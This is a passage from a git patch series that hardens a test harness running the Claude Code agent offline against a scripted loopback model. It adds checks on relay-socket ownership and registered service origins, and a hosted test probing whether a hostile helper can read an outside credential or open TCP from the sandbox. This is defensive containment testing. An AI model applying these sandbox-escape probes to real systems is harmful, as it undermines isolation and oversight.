timer=setTimeout(()=>controller.abort(),20000); + nativeScriptedService(origin.url.origin); try{for await(const message of query({prompt:"Listen for the sirens.",options:{cwd:brain,settingSources:[],model:"claude-sonnet-4-6",maxTurns:2,permissionMode:"default",allowedTools:tools,...wiring,abortController:controller, ...(resume?{resume}:{}), env:{HOME:home,CLAUDE_CONFIG_DIR:join(home,".claude"),...(interruption==="running"||interruption==="duplicate"||interruption==="denied"||interruption==="retooled"?{PATH:`${bin}:${process.env.PATH??"/usr/bin:/bin"}`,USE_BUILTIN_RIPGREP:"0"}:{PATH:process.env.PATH??"/usr/bin:/bin"}),ANTHROPIC_BASE_URL:origin.url.origin,ANTHROPIC_API_KEY:"odysseus-offline-only-key",ANTHROPIC_AUTH_TOKEN:undefined,CLAUDE_CODE_OAUTH_TOKEN:undefined,CLAUDE_CODE_USE_BEDROCK:"",CLAUDE_CODE_USE_VERTEX:"",CLAUDE_CODE_USE_FOUNDRY:"",CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC:"1"}}})){ @@ -315,6 +317,7 @@ for(const late of [false,true])test(`a denied shell call reusing a search's id c }}); const timer=setTimeout(()=>controller.abort(),20000); try{ + nativeScriptedService(origin.url.origin); for await(const message of query({prompt:"Listen for the sirens.",options:{cwd:brain,settingSources:[],model:"claude-sonnet-4-6",maxTurns:4,permissionMode:"default",allowedTools:["Grep","Bash"],...wiring,abortController:controller, env:{HOME:home,CLAUDE_CONFIG_DIR:join(home,".claude"),PATH:process.env.PATH??"/usr/bin:/bin",ANTHROPIC_BASE_URL:origin.url.origin,ANTHROPIC_API_KEY:"odysseus-offline-only-key",ANTHROPIC_AUTH_TOKEN:undefined,CLAUDE_CODE_OAUTH_TOKEN:undefined,CLAUDE_CODE_USE_BEDROCK:"",CLAUDE_CODE_USE_VERTEX:"",CLAUDE_CODE_USE_FOUNDRY:"",CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC:"1"}}})){ if(message.type==="system"&&message.subtype==="init")version=message.claude_code_version; diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 311fd1e7ed..4180fd0f88 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -139,7 +139,7 @@ function qualify(): void { // Positive native proof is reserved for disposable hosted runners. Namespace // availability on a developer machine never authorizes a native test launch. if (process.env.GITHUB_ACTIONS !== "true" || process.env.RUNNER_ENVIRONMENT !== "github-hosted") { - refuse("positive native proof requires a hosted runner"); + refuse("isolation unavailable: positive native proof requires a hosted runner"); } if (qualified) return; let result: ReturnType; @@ -298,6 +298,8 @@ function expectedNativeExec(command: string, args: readonly string[], options: S export function nativeClaudeBoundary(command: string, args: string[], options: { cwd?: string; env?: Record; managedSettings?: string }): Boundary { qualify(); const env = options.env ?? process.env; + const route = scriptedRoute.getStore(); + if (!route) refuse("scripted service authority was not registered"); const versionOnly = args.at(-1) === "--version"; const versionHome = versionOnly ? mkdtempSync(join(tmpdir(), "odysseus-native-version-")) : undefined; const cwd = versionHome ?? realpathSync(options.cwd ?? process.cwd()); @@ -309,7 +311,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const inheritedOrigin = inheritedSocket ? ownedSocketOrigin(inheritedSocket) : undefined; if (inheritedSocket && !inheritedOrigin) refuse("pre-existing native relay is not guard-owned"); if (inheritedOrigin && (!scriptedRoute.getStore() || normalizedOrigin(inheritedOrigin) !== normalizedOrigin(scriptedRoute.getStore()!.origin))) refuse("native relay did not match scripted authority"); - const bridge = startNativeTestRelay(versionOnly ? "http://127.0.0.1:1" : inheritedOrigin ?? env.ANTHROPIC_BASE_URL ?? scriptedRoute.getStore()?.origin); + const bridge = startNativeTestRelay(route.origin); try { const tools = fixtureToolView(env, cwd, home); command = resolveExecutable(command, options); @@ -438,9 +440,9 @@ export function assertNativeRelaySocket(host: string, port: unknown): void { export function assertNativeRelayUnix(path: string): void { const route = relayForwarding.getStore(); if (!route) return; - let authority: { origin: string } | undefined; - try { authority = ownedRelaySockets.get(realpathSync(path)); } catch { /* Unknown socket. */ } - if (authority?.origin === route.origin) return; + let origin: string | undefined; + try { origin = ownedSocketOrigin(path); } catch { /* Unknown socket. */ } + if (origin && normalizedOrigin(origin) === normalizedOrigin(route.origin)) return; assertNativeRelayDestination(new URL("http://unowned-native-ipc.invalid")); } @@ -468,19 +470,33 @@ function admittedRelay(argv: string[], socket: string): string | undefined { const authority = ownedRelaySockets.get(socketIdentity(stat)); if (!authority?.isLive()) continue; if (!stat.isSocket() || stat.dev !== authority.dev || stat.ino !== authority.ino) continue; - // A directory mount exposes every socket it contains, not only the name - // in ANTHROPIC_UNIX_SOCKET. Every such capability needs the same authority. + // A directory bind exposes its whole subtree, including symlink aliases. + // No socket in that view may escape the same live scripted authority. const directory = statSync(argv[i + 1]!).isDirectory() ? argv[i + 1]! : undefined; - for (const name of directory ? readdirSync(directory) : []) { - const sibling = join(directory!, name), info = lstatSync(sibling, { bigint: true }); - if (!info.isSocket()) continue; - const peer = ownedRelaySockets.get(socketIdentity(info)); - if (!peer?.isLive() || peer.origin !== authority.origin || peer.dev !== info.dev || peer.ino !== info.ino) return; - } + if (directory && !relaySubtreeOwned(directory, authority.origin)) return; return authority.origin; } } +function relaySubtreeOwned(directory: string, origin: string): boolean { + const root = realpathSync(directory), visited = new Set(); + const visit = (path: string): boolean => { + const real = realpathSync(path); + if (!within(root, real)) return false; + const info = lstatSync(real, { bigint: true }); + if (info.isSocket()) { + const peer = ownedSocketOrigin(real); + return Boolean(peer && normalizedOrigin(peer) === normalizedOrigin(origin)); + } + if (!info.isDirectory()) return true; + const key = socketIdentity(info); + if (visited.has(key)) return true; + visited.add(key); + return readdirSync(real).every(name => visit(join(real, name))); + }; + try { return visit(root); } catch { return false; } +} + /** Inspect the concrete existing worker bootstrap, including its exec payload. */ export function nativeWorkerBoundary(env: Record): { env: Record; dispose(): void } { const unchanged = { env, dispose() {} }; @@ -509,11 +525,12 @@ export function nativeWorkerBoundary(env: Record): { // Do not rely on SDK options or the production profile to establish this. const socket = launch.env?.ANTHROPIC_UNIX_SOCKET; const route = scriptedRoute.getStore(); + if (!route) refuse("scripted service authority was not registered"); const ownedOrigin = socket ? admittedRelay(workerArgv, socket) : undefined; if (socket && !ownedOrigin) refuse("pre-existing native relay is not guard-owned"); if (ownedOrigin && (!route || normalizedOrigin(ownedOrigin) !== normalizedOrigin(route.origin))) refuse("native relay did not match scripted authority"); qualify(); - const bridge = startNativeTestRelay(ownedOrigin ?? route?.origin ?? launch.env?.ANTHROPIC_BASE_URL); + const bridge = startNativeTestRelay(route.origin); try { const tools = fixtureToolView(launch.env ?? {}, launch.brainPath ?? ROOT, launch.hostHome ?? launch.env?.HOME); for (let i = bwrap + 1; i < workerArgv.indexOf("--", bwrap); i++) { diff --git a/tests/fixtures/policy-boundary-probe.ts b/tests/fixtures/policy-boundary-probe.ts index a7b026376c..5171004349 100644 --- a/tests/fixtures/policy-boundary-probe.ts +++ b/tests/fixtures/policy-boundary-probe.ts @@ -1,3 +1,5 @@ +import "../../scripts/test-network-child-preload.ts"; +import {nativeScriptedService} from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; import { replaceNativeStartupAcquisitionForFixture } from "../../packages/ui-server/tests/helpers/fixture-native-startup.js"; const restoreNativeAcquisition = replaceNativeStartupAcquisitionForFixture(); @@ -415,6 +417,7 @@ async function server(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen.length ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); + nativeScriptedService(inference.url.origin); const url = `http://127.0.0.1:${inference.port}`; const configDir = join(root, "claude"), agentDir = join(root, "pi"); mkdirSync(configDir, { recursive: true }); mkdirSync(agentDir, { recursive: true }); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index e1e412996c..ac8b06a330 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -4,7 +4,7 @@ import { chmodSync, copyFileSync, existsSync, mkdirSync, mkdtempSync, rmSync, sy import { dirname, join } from "node:path"; import { tmpdir } from "node:os"; import { bundledClaudeBinary } from "../packages/core/src/providers/agents/claude-binary"; -import { isNativeClaude } from "../scripts/test-native-guard"; +import { isNativeClaude, nativeClaudeBoundary } from "../scripts/test-native-guard"; const ROOT = join(import.meta.dir, ".."); const runtime = bundledClaudeBinary(); @@ -17,7 +17,7 @@ async function probe(script: string, home: string) { return { code, output }; } const imports = `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, "scripts/test-network-guard.ts"))}; - import {nativeClaudeBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + import {nativeClaudeBoundary,nativeScriptedService as registerScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; installNetworkGuard();`; test("a harmless fixture named claude runs without native admission", async () => { @@ -149,7 +149,7 @@ test("wrapper exec and auth inspection cannot fabricate native launch or injecte const spawnSync=Bun.spawnSync,which=Bun.which; Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); const boundary=nativeClaudeBoundary("/usr/bin/unshare",["--user",${JSON.stringify(runtime)},"auth","status","--json"], {cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1"}}); if(boundary.argv[0]!=="/synthetic/strace")throw Error("audit executable was not resolved"); @@ -172,7 +172,7 @@ test("isolated plans preserve synthetic credential precedence and an unauthentic const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); const key="sk-ant-api03-"+"k".repeat(95)+"AA",token="sk-ant-oat01-"+"o".repeat(95)+"AA",bearer="sk-ant-declared-"+"t".repeat(60); const leave=nativeScriptedService("http://127.0.0.1:1"); for(const creds of [{},{ANTHROPIC_API_KEY:key},{CLAUDE_CODE_OAUTH_TOKEN:token},{ANTHROPIC_API_KEY:key,CLAUDE_CODE_OAUTH_TOKEN:token},{ANTHROPIC_AUTH_TOKEN:bearer}]){ @@ -204,7 +204,7 @@ test("fixture PATH tools are mounted selectively without exposing sibling creden const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); nativeScriptedService("http://127.0.0.1:1"); const env={HOME:${JSON.stringify(home)},PATH:${JSON.stringify([bin, scratch, unrelated, "/usr/bin"].join(":"))},USE_BUILTIN_RIPGREP:"0",ENABLE_TOOL_SEARCH:"true",ANTHROPIC_BASE_URL:"http://127.0.0.1:1"}; const direct=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(brain)},env}); @@ -231,7 +231,7 @@ test("separate-UID plans trace the broker payload outside its hidden native audi const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); const leave=nativeScriptedService("http://127.0.0.1:1"); const launch={command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_API_KEY:"offline-fixture"}, argv:["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:["bwrap","--ro-bind","/","/","--",${JSON.stringify(runtime)}],secret:"synthetic"})]}; @@ -261,7 +261,7 @@ test("the SDK spawn hook retains its scripted authority when invoked from anothe const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); let hook,worker; const query=nativeScriptedQuery(input=>{hook=input.options.spawnClaudeCodeProcess;return {};},${JSON.stringify(intended.url.origin)}); query({prompt:"fixture",options:{spawnClaudeCodeProcess(){worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env:{HOME:${JSON.stringify(scratch)}},brainPath:${JSON.stringify(scratch)},argv:["bwrap","--",${JSON.stringify(runtime)}]})});return {};}}}); @@ -284,7 +284,7 @@ test("fixture server callbacks retain authority while creating a native relay", const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); const leave=nativeScriptedService("http://127.0.0.1:1");let relay; const app=Bun.serve({hostname:"127.0.0.1",port:0,fetch(){ relay=Bun.serve({unix:${JSON.stringify(join(scratch, "relay.sock"))},fetch(){return new Response("Ithaca");}}); @@ -308,7 +308,7 @@ test("the installed spawn interceptor receives fixture authority before a synthe const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); nativeScriptedService("http://127.0.0.1:1"); const child=Bun.spawn([process.execPath,"-e",${JSON.stringify(bootstrap)}],{env:{HOME:${JSON.stringify(scratch)},BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env:{HOME:${JSON.stringify(scratch)}},brainPath:${JSON.stringify(scratch)},argv:["bwrap","--",${JSON.stringify(runtime)}]})},stdout:"pipe",stderr:"pipe"}); const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);if(code!==0)throw Error(err);`, scratch); @@ -320,7 +320,7 @@ test("qualification metadata preserves explicit child environment overrides", as const scratch = mkdtempSync(join(tmpdir(), "odysseus-child-context-")); try { const result = await probe(`${imports} - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); const child=Bun.spawn([process.execPath,"-e",'console.error(JSON.stringify({actions:process.env.GITHUB_ACTIONS,runner:process.env.RUNNER_ENVIRONMENT,head:process.env.BRAIN_NATIVE_TEST_HEAD}))'], {env:{PATH:"/usr/bin:/bin",GITHUB_ACTIONS:"false",RUNNER_ENVIRONMENT:"fixture"},stdout:"pipe",stderr:"pipe"}); const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text()]); @@ -339,7 +339,7 @@ test("a hard-link alias retains live guard-owned socket authority and loses it w const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); nativeScriptedService("http://127.0.0.1:1"); const source=${JSON.stringify(join(scratch, "source.sock"))},alias=${JSON.stringify(join(scratch, "alias.sock"))}; const relay=Bun.serve({unix:source,fetch(){return new Response("Ithaca");}});linkSync(source,alias); @@ -377,6 +377,7 @@ test("an arbitrary same-user Unix relay is refused before namespace setup", asyn const service = Bun.serve({ unix: socket, fetch() { return new Response("Unowned"); } }); try { const result = await probe(`${imports} + registerScriptedService("http://127.0.0.1:1"); import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}], env:{ANTHROPIC_BASE_URL:"http://localhost",ANTHROPIC_UNIX_SOCKET:"/tmp/relay/relay.sock"}, @@ -475,12 +476,62 @@ test("workspace SDK discovery works without root resolution and fails closed for } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("environment endpoints cannot supply missing scripted authority", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-no-authority-")); + try { + for (const worker of [false, true]) { + const result = await probe(`${imports} + import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + const original=Bun.spawnSync;const which=Bun.which; + Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); + Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(original,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const env={HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1"}; + ${worker ? `nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env,argv:["bwrap","--",${JSON.stringify(runtime)}]})}).dispose();` : `nativeClaudeBoundary(${JSON.stringify(runtime)},[],{env}).dispose();`}`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"reason":"scripted service authority was not registered"'); + } + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + +test("worker relay directory rejects nested unregistered sockets", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-nested-relay-")); + try { + const result = await probe(`${imports} + import {mkdirSync} from "node:fs"; + import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + mkdirSync(${JSON.stringify(join(scratch, "nested"))}); + const foreign=Bun.serve({unix:${JSON.stringify(join(scratch, "nested/foreign.sock"))},fetch:()=>new Response("foreign")}); + registerScriptedService("http://127.0.0.1:1"); + const owned=Bun.serve({unix:${JSON.stringify(join(scratch, "relay.sock"))},fetch:()=>new Response("Ithaca")}); + try{nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env:{ANTHROPIC_UNIX_SOCKET:"/tmp/relay/relay.sock"},argv:["bwrap","--ro-bind",${JSON.stringify(scratch)},"/tmp/relay","--",${JSON.stringify(runtime)}]})});}finally{foreign.stop(true);owned.stop(true);}`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"reason":"pre-existing native relay is not guard-owned"'); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + +test("registered same-origin Unix relays forward successfully", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-unix-forward-")); + try { + const result = await probe(`${imports} + registerScriptedService("http://127.0.0.1:1"); + const downstream=${JSON.stringify(join(scratch, "down.sock"))},upstream=${JSON.stringify(join(scratch, "up.sock"))}; + const down=Bun.serve({unix:downstream,fetch:()=>new Response("Ithaca")}); + const up=Bun.serve({unix:upstream,fetch:()=>fetch("http://127.0.0.1:1/v1/messages",{unix:downstream})}); + try{const response=await fetch("http://127.0.0.1:1/v1/messages",{unix:upstream});if(await response.text()!=="Ithaca")throw Error("registered forwarding failed");}finally{up.stop(true);down.stop(true);}`, scratch); + expect(result.code, result.output).toBe(0); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + // Positive native tests are deliberately unavailable on developer hosts. The // local suite proves refusal above; CI executes this assertion rather than a // skipped test or an unsealed fallback. -if (process.env.GITHUB_ACTIONS === "true" && process.env.RUNNER_ENVIRONMENT === "github-hosted") { - test("hostile managed helper and native descendants cannot read an outside credential or open TCP", async () => { - const { nativeClaudeBoundary } = await import("../scripts/test-native-guard"); +test("hostile managed helper and native descendants cannot read an outside credential or open TCP", async () => { + if (process.env.GITHUB_ACTIONS !== "true" || process.env.RUNNER_ENVIRONMENT !== "github-hosted") { + nativeClaudeBoundary("/synthetic/isolation-unavailable", [], {}); + throw new Error("isolation unavailable refusal was bypassed"); + } + const { nativeScriptedService } = await import("../scripts/test-native-guard"); const scratch = mkdtempSync(join(tmpdir(), "odysseus-native-hostile-")); const home = join(scratch, "home"), brain = join(scratch, "brain"), managed = join(scratch, "managed"), bin = join(scratch, "bin"); for (const path of [home, brain, managed, bin]) mkdirSync(path); @@ -494,6 +545,7 @@ if (process.env.GITHUB_ACTIONS === "true" && process.env.RUNNER_ENVIRONMENT === })); let requests = 0; const service = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { requests++; return new Response("Ithaca"); } }); + nativeScriptedService(service.url.origin); // Synthetic native reader exercises the OS boundary independently of SDK // settings precedence. The real installed runtime is covered by native // backend/provider-history cells under the same preload. @@ -548,4 +600,3 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) mutationBoundary.dispose(); } finally { boundary?.dispose(); service.stop(true); rmSync(scratch, { recursive: true, force: true }); } }); -} From e737a4d36ee91d8917acaf2febdee3365311983e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 00:18:17 +0000 Subject: [PATCH 032/187] fix: guard standalone native entries and mounted fixture sockets --- docs/process/testing.md | 6 ++++ experiments/2052-title-provenance/probe.ts | 3 ++ .../fixtures/runtime-placement-probe.ts | 1 + scripts/capture-turn-surface.ts | 3 ++ scripts/fixtures/claude-core-default-probe.ts | 1 + scripts/measure-claude-capability.ts | 1 + scripts/measure-claude-delegation.ts | 1 + scripts/measure-claude-enforcement.ts | 1 + scripts/measure-claude-haiku.ts | 1 + scripts/measure-claude-runtime.ts | 1 + scripts/measure-claude-usage.ts | 3 ++ scripts/measure-real-provider-dispatch.ts | 1 + scripts/measure-show-block-server.ts | 1 + scripts/measure-show-block.ts | 1 + scripts/measure-turn-surface-live.ts | 1 + scripts/measure-turn-surface-tokens.ts | 1 + scripts/native-proof/hosted-app-child.ts | 1 + .../reference-integration-child.ts | 1 + scripts/show-block-schema-forms.ts | 1 + scripts/test-native-guard.ts | 30 +++++++++++++++++-- scripts/test-network-guard.ts | 1 + scripts/turn-surface-overlap.ts | 1 + tests/hosted-proof.test.ts | 23 +++++++++++++- tests/native-offline-boundary.test.ts | 26 ++++++++++++++++ 24 files changed, 108 insertions(+), 3 deletions(-) diff --git a/docs/process/testing.md b/docs/process/testing.md index feda425057..833167ae79 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1170,6 +1170,12 @@ OAuth. Its measurement is labelled accordingly and does not prove ordinary TCP credential precedence. No production authentication or managed-policy behavior changes. +Standalone native measurement and experiment entries import the subprocess guard +before their SDK or backend dependencies. Direct fixture HOME and cwd mounts +reject unowned Unix sockets, including nested aliases, and recheck immediately +before launch. The hostile-settings proof always registers; outside hosted CI it +fails with an explicit isolation-unavailable receipt rather than disappearing. + `tests/native-offline-boundary.test.ts` proves local refusal with harmless synthetic executables. Hosted proof additionally exercises hostile managed settings, an outside-HOME sentinel credential, helper descendants, denied TCP, diff --git a/experiments/2052-title-provenance/probe.ts b/experiments/2052-title-provenance/probe.ts index 8e93916cec..e8b58b4038 100644 --- a/experiments/2052-title-provenance/probe.ts +++ b/experiments/2052-title-provenance/probe.ts @@ -1,3 +1,5 @@ +import "../../scripts/test-network-child-preload.ts"; +import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; /** Run through run.ts: the SDK, CLI and tool descendants share an offline netns. */ import { mkdirSync, readFileSync, writeFileSync } from "node:fs"; import { dirname, join } from "node:path"; @@ -36,6 +38,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream", "request-id": id } }); } }); +nativeScriptedService(server.url.origin); try { for (turnIndex = 1; turnIndex <= 2; turnIndex++) { const controller = new AbortController(); diff --git a/experiments/fixtures/runtime-placement-probe.ts b/experiments/fixtures/runtime-placement-probe.ts index e376fc0a78..e4d3e70f0f 100644 --- a/experiments/fixtures/runtime-placement-probe.ts +++ b/experiments/fixtures/runtime-placement-probe.ts @@ -1,3 +1,4 @@ +import "../../scripts/test-network-child-preload.ts"; /** Keyless same-byte native serialization control; caller supplies offline netns. */ import assert from "node:assert/strict"; import { copyFileSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; diff --git a/scripts/capture-turn-surface.ts b/scripts/capture-turn-surface.ts index 8cdd802824..a768724e72 100644 --- a/scripts/capture-turn-surface.ts +++ b/scripts/capture-turn-surface.ts @@ -1,3 +1,5 @@ +import "./test-network-child-preload.ts"; +import { nativeScriptedService } from "./test-native-guard.ts"; /** #587: capture the installed CLI's request using a loopback scripted model. * This observes serialization, not model choice or model quality. No real * credential is used. Run in an explicitly offline namespace when testing. @@ -90,6 +92,7 @@ export async function captureSurface(control?: { const call = isMain ? calls[mainRequests++] : undefined; return scriptedReply(body.model, call, bodies.length, control?.finalOutputTokens ?? 1); } }); +nativeScriptedService(server.url.origin); const abortController = new AbortController(); const timeout = setTimeout(() => abortController.abort(), 30_000); let completion: string | undefined; diff --git a/scripts/fixtures/claude-core-default-probe.ts b/scripts/fixtures/claude-core-default-probe.ts index 8c43dbb374..555d2c93f8 100644 --- a/scripts/fixtures/claude-core-default-probe.ts +++ b/scripts/fixtures/claude-core-default-probe.ts @@ -1,3 +1,4 @@ +import "../test-network-child-preload.ts"; import { nativeScriptedService } from "../test-native-guard.ts"; /** Actual core factory, actual bundled CLI, networkless fictional control only. */ import { mkdirSync,writeFileSync,readFileSync,existsSync,appendFileSync } from "node:fs"; diff --git a/scripts/measure-claude-capability.ts b/scripts/measure-claude-capability.ts index 1a60efaa3e..3d828a1f8d 100644 --- a/scripts/measure-claude-capability.ts +++ b/scripts/measure-claude-capability.ts @@ -1,3 +1,4 @@ +import "./test-network-child-preload.ts"; import { nativeScriptedService } from "./test-native-guard.ts"; // #1213: keyless Sonnet 5.5 native metadata control. Run with loopback only. import assert from "node:assert/strict"; diff --git a/scripts/measure-claude-delegation.ts b/scripts/measure-claude-delegation.ts index 90caa215c4..95e702ed35 100644 --- a/scripts/measure-claude-delegation.ts +++ b/scripts/measure-claude-delegation.ts @@ -1,3 +1,4 @@ +import "./test-network-child-preload.ts"; import { nativeScriptedService, nativeScriptedQuery } from "./test-native-guard.ts"; // #1213: production enforcement and foreground rewrite inherited by a real subagent. // Run with only loopback enabled. All credentials and commands are controlled fixtures. diff --git a/scripts/measure-claude-enforcement.ts b/scripts/measure-claude-enforcement.ts index 25abc6f7ae..a9c7180b81 100644 --- a/scripts/measure-claude-enforcement.ts +++ b/scripts/measure-claude-enforcement.ts @@ -1,3 +1,4 @@ +import "./test-network-child-preload.ts"; import { nativeScriptedQuery } from "./test-native-guard.ts"; // #901: real production wiring, real CLI, scripted loopback inference. // Run in the same loopback-only network namespace as measure-claude-runtime. diff --git a/scripts/measure-claude-haiku.ts b/scripts/measure-claude-haiku.ts index 